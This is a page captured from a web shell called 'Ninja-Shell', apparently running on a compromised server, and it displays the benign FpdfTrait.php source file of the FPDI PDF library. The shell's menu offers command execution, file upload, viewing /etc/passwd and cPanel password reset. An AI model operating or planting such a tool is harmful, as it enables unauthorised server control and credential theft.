{Ninja-Shell}
Home
Info
Upload
Command
View /etc/passwd
cPanel Reset Password
Filename: //proc/66886/cwd//arsu///vendor/setasign/fpdi/src/FpdfTrait.php
<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2023 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi; use setasign\Fpdi\PdfParser\CrossReference\CrossReferenceException; use setasign\Fpdi\PdfParser\PdfParserException; use setasign\Fpdi\PdfParser\Type\PdfIndirectObject; use setasign\Fpdi\PdfParser\Type\PdfNull; use setasign\Fpdi\PdfParser\Type\PdfType; /** * This trait is used for the implementation of FPDI in FPDF and tFPDF. */ trait FpdfTrait { protected function _enddoc() { parent::_enddoc(); $this->cleanUp(); } /** * Draws an imported page or a template onto the page or another template. * * Give only one of the size parameters (width, height) to calculate the other one automatically in view to the * aspect ratio. * * @param mixed $tpl The template id * @param float|int|array $x The abscissa of upper-left corner. Alternatively you could use an assoc array * with the keys "x", "y", "width", "height", "adjustPageSize". * @param float|int $y The ordinate of upper-left corner. * @param float|int|null $width The width. * @param float|int|null $height The height. * @param bool $adjustPageSize * @return array The size * @see Fpdi::getTemplateSize() */ public function useTemplate($tpl, $x = 0, $y = 0, $width = null, $height = null, $adjustPageSize = false) { if (isset($this->importedPages[$tpl])) { $size = $this->useImportedPage($tpl, $x, $y, $width, $height, $adjustPageSize); if ($this->currentTemplateId !== null) { $this->templates[$this->currentTemplateId]['resources']['templates']['importedPages'][$tpl] = $tpl; } return $size; } return parent::useTemplate($tpl, $x, $y, $width, $height, $adjustPageSize); } /** * Get the size of an imported page or template. * * Give only one of the size parameters (width, height) to calculate the other one automatically in view to the * aspect ratio. * * @param mixed $tpl The template id * @param float|int|null $width The width. * @param float|int|null $height The height. * @return array|bool An array with following keys: width, height, 0 (=width), 1 (=height), orientation (L or P) */ public function getTemplateSize($tpl, $width = null, $height = null) { $size = parent::getTemplateSize($tpl, $width, $height); if ($size === false) { return $this->getImportedPageSize($tpl, $width, $height); } return $size; } /** * @throws CrossReferenceException * @throws PdfParserException */ protected function _putimages() { $this->currentReaderId = null; parent::_putimages(); foreach ($this->importedPages as $key => $pageData) { $this->_newobj(); $this->importedPages[$key]['objectNumber'] = $this->n; $this->currentReaderId = $pageData['readerId']; $this->writePdfType($pageData['stream']); $this->_put('endobj'); } foreach (\array_keys($this->readers) as $readerId) { $parser = $this->getPdfReader($readerId)->getParser(); $this->currentReaderId = $readerId; while (($objectNumber = \array_pop($this->objectsToCopy[$readerId])) !== null) { try { $object = $parser->getIndirectObject($objectNumber); } catch (CrossReferenceException $e) { if ($e->getCode() === CrossReferenceException::OBJECT_NOT_FOUND) { $object = PdfIndirectObject::create($objectNumber, 0, new PdfNull()); } else { throw $e; } } $this->writePdfType($object); } } $this->currentReaderId = null; } /** * @inheritdoc */ protected function _putxobjectdict() { foreach ($this->importedPages as $pageData) { $this->_put('/' . $pageData['id'] . ' ' . $pageData['objectNumber'] . ' 0 R'); } parent::_putxobjectdict(); } /** * @param int $n * @return void * @throws PdfParser\Type\PdfTypeException */ protected function _putlinks($n) { foreach ($this->PageLinks[$n] as $pl) { $this->_newobj(); $rect = sprintf('%.2F %.2F %.2F %.2F', $pl[0], $pl[1], $pl[0] + $pl[2], $pl[1] - $pl[3]); $this->_put('<</Type /Annot /Subtype /Link /Rect [' . $rect . ']', false); if (is_string($pl[4])) { $this->_put('/A <</S /URI /URI ' . $this->_textstring($pl[4]) . '>>'); if (isset($pl['importedLink'])) { $values = $pl['importedLink']['pdfObject']->value; foreach ($values as $name => $entry) { $this->_put('/' . $name . ' ', false); $this->writePdfType($entry); } if (isset($pl['quadPoints'])) { $s = '/QuadPoints['; foreach ($pl['quadPoints'] as $value) { $s .= sprintf('%.2F ', $value); } $s .= ']'; $this->_put($s); } } else { $this->_put('/Border [0 0 0]', false); } $this->_put('>>'); } else { $this->_put('/Border [0 0 0] ', false); $l = $this->links[$pl[4]]; if (isset($this->PageInfo[$l[0]]['size'])) { $h = $this->PageInfo[$l[0]]['size'][1]; } else { $h = ($this->DefOrientation === 'P') ? $this->DefPageSize[1] * $this->k : $this->DefPageSize[0] * $this->k; } $this->_put(sprintf( '/Dest [%d 0 R /XYZ 0 %.2F null]>>', $this->PageInfo[$l[0]]['n'], $h - $l[1] * $this->k )); } $this->_put('endobj'); } } protected function _put($s, $newLine = true) { if ($newLine) { $this->buffer .= $s . "\n"; } else { $this->buffer .= $s; } } }
./Ninja\.